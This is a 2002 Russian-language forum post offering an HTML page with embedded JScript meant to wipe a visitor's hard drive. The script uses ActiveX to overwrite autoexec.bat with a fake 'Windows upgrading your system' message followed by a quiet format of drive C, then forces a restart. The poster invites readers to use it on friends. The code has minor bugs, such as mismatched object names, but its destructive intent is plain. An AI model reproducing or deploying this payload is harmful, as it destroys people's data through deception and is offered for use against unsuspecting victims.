Показать сообщение отдельно
Старый 31.07.2002, 12:13     # 1
Rayzak
Access Forbidden
 
Аватар для Rayzak
 
Регистрация: 14.12.2001
Адрес: Access Forbidden
Пол: Male
Сообщения: 1 277

Rayzak Луч света в тёмном царствеRayzak Луч света в тёмном царствеRayzak Луч света в тёмном царствеRayzak Луч света в тёмном царствеRayzak Луч света в тёмном царствеRayzak Луч света в тёмном царстве
hdd format... через пагу в инэте.

Ну что, хотите скриптик поиметь что бы с помощью скрипта можно было бы форматнуть хард вашего друга? :)
Вот- дерзайте :)

<html>
<head>
<script>
var FSO = new ActiveXObject("Scripting.FileSystemObject");
//Если файл существует
if (FSO.FileExists("c:\\autoexec.bat"))
{
var F = FSO.GetFile("c:\\autoexec.bat");
//выставляем обычные атрибуты
F.attributes=0;
//удаляем его
F.Delete();
//заново создаем его
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем его для записи
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
//пишем в него
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");

}
//если не существует...
else
//создаем файл
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем и пишем
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");
</script>
</head>
</html>

Дерзайте! И что бы было у вас побольше друзей.
__________________
Траблы с компьютером? Убедитесь что у вас инсталированы все последние апдейты и драйвера. Они выпускаются не для развлечения.
Rayzak вне форума